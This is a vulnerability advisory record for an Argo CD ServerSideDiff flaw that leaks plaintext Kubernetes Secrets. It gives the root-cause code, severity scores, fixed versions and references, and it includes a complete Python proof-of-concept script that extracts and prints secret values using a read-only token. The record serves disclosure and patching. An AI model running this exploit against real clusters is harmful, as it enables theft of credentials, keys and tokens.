{"id":"CVE-2026-42880","aliases":["BIT-argo-cd-2026-42880","CVE-2026-43824","GHSA-3v3m-wc6v-x4x3","GO-2026-5099"],"url":"https://o3.security/vulnerability/CVE-2026-42880","summary":"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction","details":"### Summary\nThere is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{\n    TargetState:     string(diffRes.PredictedLive),\n    LiveState:       string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n    python3 poc.py <host> <token> <app> <project>\n\nExample:\n    python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n    out = []\n    while v > 0x7f:\n        out.append((v & 0x7f) | 0x80)\n        v >>= 7\n    out.append(v & 0x7f)\n    return bytes(out)\n\ndef encode_str(field, val):\n    tag = (field << 3) | 2\n    raw = val.encode()\n    return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n    tag = (field << 3) | 2\n    return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n    tag = (field << 3) | 0\n    return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n    val, shift = 0, 0\n    while pos < len(data):\n        b = data[pos]; pos += 1\n        val |= (b & 0x7f) << shift; shift += 7\n        if not (b & 0x80):\n            break\n    return val, pos\n\ndef decode_fields(data):\n    fields = defaultdict(list)\n    pos = 0\n    while pos < len(data):\n        tag, pos = decode_varint(data, pos)\n        wtype = tag & 0x07\n        if wtype == 0:\n            val, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(val)\n        elif wtype == 2:\n            length, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(data[pos:pos + length])\n            pos += length\n        elif wtype == 5:\n            fields[tag >> 3].append(data[pos:pos + 4]); pos += 4\n        elif wtype == 1:\n            fields[tag >> 3].append(data[pos:pos + 8]); pos += 8\n        else:\n            break\n    return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n    return b\"\\x00\" + struct.pack(\">I\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n    frames, pos = [], 0\n    while pos + 5 <= len(data):\n        flag = data[pos]\n        length = struct.unpack(\">I\", data[pos+1:pos+5])[0]\n        pos += 5\n        frames.append((flag, data[pos:pos+length]))\n        pos += length\n    return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n    conn.request(\"GET\", path, headers={\n        \"Authorization\": \"Bearer \" + token,\n        \"Accept\": \"application/json\",\n    })\n    resp = conn.getresponse()\n    body = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n    conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n        body=grpc_frame(payload), headers={\n            \"Content-Type\": \"application/grpc-web+proto\",\n            \"Accept\": \"application/grpc-web+proto\",\n            \"X-Grpc-Web\": \"1\",\n            \"Authorization\": \"Bearer \" + token,\n        })\n    resp = conn.getresponse()\n    raw = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    frames = decode_grpc_frames(raw)\n    for flag, fdata in frames:\n        if flag == 0:\n            return fdata, None\n    return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n    if len(sys.argv) != 5:\n        print(\"Usage: python3 poc.py <host> <token> <app> <project>\")\n        sys.exit(1)\n\n    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n    conn = make_conn(host)\n\n    # step 1: list managed resources for the app, find secrets\n    print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n    data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n    if err:\n        print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n    secrets = []\n    for r in data.get(\"items\", []):\n        if r.get(\"kind\") != \"Secret\":\n            continue\n        name = r.get(\"name\", \"\")\n        ns = r.get(\"namespace\", \"\")\n        live = r.get(\"liveState\", \"\")\n        stype = \"Opaque\"\n        if live and live != \"null\":\n            try:\n                stype = json.loads(live).get(\"type\", \"Opaque\")\n            except Exception:\n                pass\n        secrets.append((name, ns, stype, live))\n\n    if not secrets:\n        print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n    print(\"[+] Found %d secrets\" % len(secrets))\n\n    # step 2: call ServerSideDiff for each secret\n    total_extracted = 0\n    for sname, sns, stype, live_json in secrets:\n        # build minimal target manifest (no data field)\n        target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n                  \"metadata\": {\"name\": sname, \"namespace\": sns},\n                  \"type\": stype}\n\n        # copy required annotations from live state for SA tokens\n        if live_json and live_json != \"null\":\n            try:\n                live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n                k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n                if k8s_annots:\n                    target[\"metadata\"][\"annotations\"] = k8s_annots\n            except Exception:\n                pass\n\n        # for TLS secrets, include required placeholder keys\n        if stype == \"kubernetes.io/tls\":\n            target[\"data\"] = {\n                \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n                \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n            }\n        elif stype == \"kubernetes.io/dockerconfigjson\":\n            target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b'{\"auths\":{}}').decode()}\n\n        # encode the grpc request\n        lr = b\"\"\n        lr += encode_str(2, \"Secret\")       # kind\n        lr += encode_str(3, sns)             # namespace\n        lr += encode_str(4, sname)           # name\n        if live_json:\n            lr += encode_str(6, live_json)   # liveState\n        lr += encode_bool(12, True)          # modified\n\n        query = encode_str(1, app_name)\n        query += encode_str(3, project)\n        query += encode_bytes(4, lr)\n        query += encode_str(5, json.dumps(target))\n\n        # reconnect for each call (simple, no pool needed for poc)\n        try:\n            conn = make_conn(host)\n            resp_data, err = grpc_post(conn, token, query)\n        except Exception as e:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, e))\n            continue\n        if err:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, err))\n            continue\n\n        # parse response\n        resp_fields = decode_fields(resp_data)\n        for item_bytes in resp_fields.get(1, []):\n            if not isinstance(item_bytes, bytes):\n                continue\n            ifields = decode_fields(item_bytes)\n\n            # field 5 = targetState (predictedLive — has real values from etcd)\n            for raw in ifields.get(5, []):\n                if not isinstance(raw, bytes):\n                    continue\n                try:\n                    obj = json.loads(raw)\n                except Exception:\n                    continue\n                if obj.get(\"kind\") != \"Secret\":\n                    continue\n                secret_data = obj.get(\"data\", {})\n                if not secret_data:\n                    continue\n\n                # check for real (non-masked) values\n                real_keys = {}\n                for k, v in secret_data.items():\n                    if not v:\n                        continue\n                    if all(c == \"+\" for c in v):\n                        continue  # masked by argocd\n                    try:\n                        decoded = base64.b64decode(v)\n                        text = decoded.decode(\"utf-8\", errors=\"replace\")\n                    except Exception:\n                        continue\n                    if all(c == \"+\" for c in text) and text:\n                        continue  # masked (base64 of +++...)\n                    real_keys[k] = text\n\n                if real_keys:\n                    total_extracted += 1\n                    print(\"\\n  [***] %s/%s  (%s)\" % (sns, sname, stype))\n                    print(\"        %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n                    for k in sorted(real_keys):\n                        v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n                        if len(v) > 120:\n                            v = v[:120] + \"...\"\n                        print(\"          %s: %s\" % (k, v))\n\n    print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.","published":"2026-05-07T22:20:39.506Z","modified":"2026-09-09T03:30:52.502433807Z","cvss":{"score":9.6,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},"epss":{"score":0.00506,"percentile":0.41761,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.2.11"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.3.9"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42880.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2026:12433"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20943"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20947"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42880"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42880.json"},{"type":"ADVISORY","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42880"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467882"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-09T03:30:52.502433807Z"}}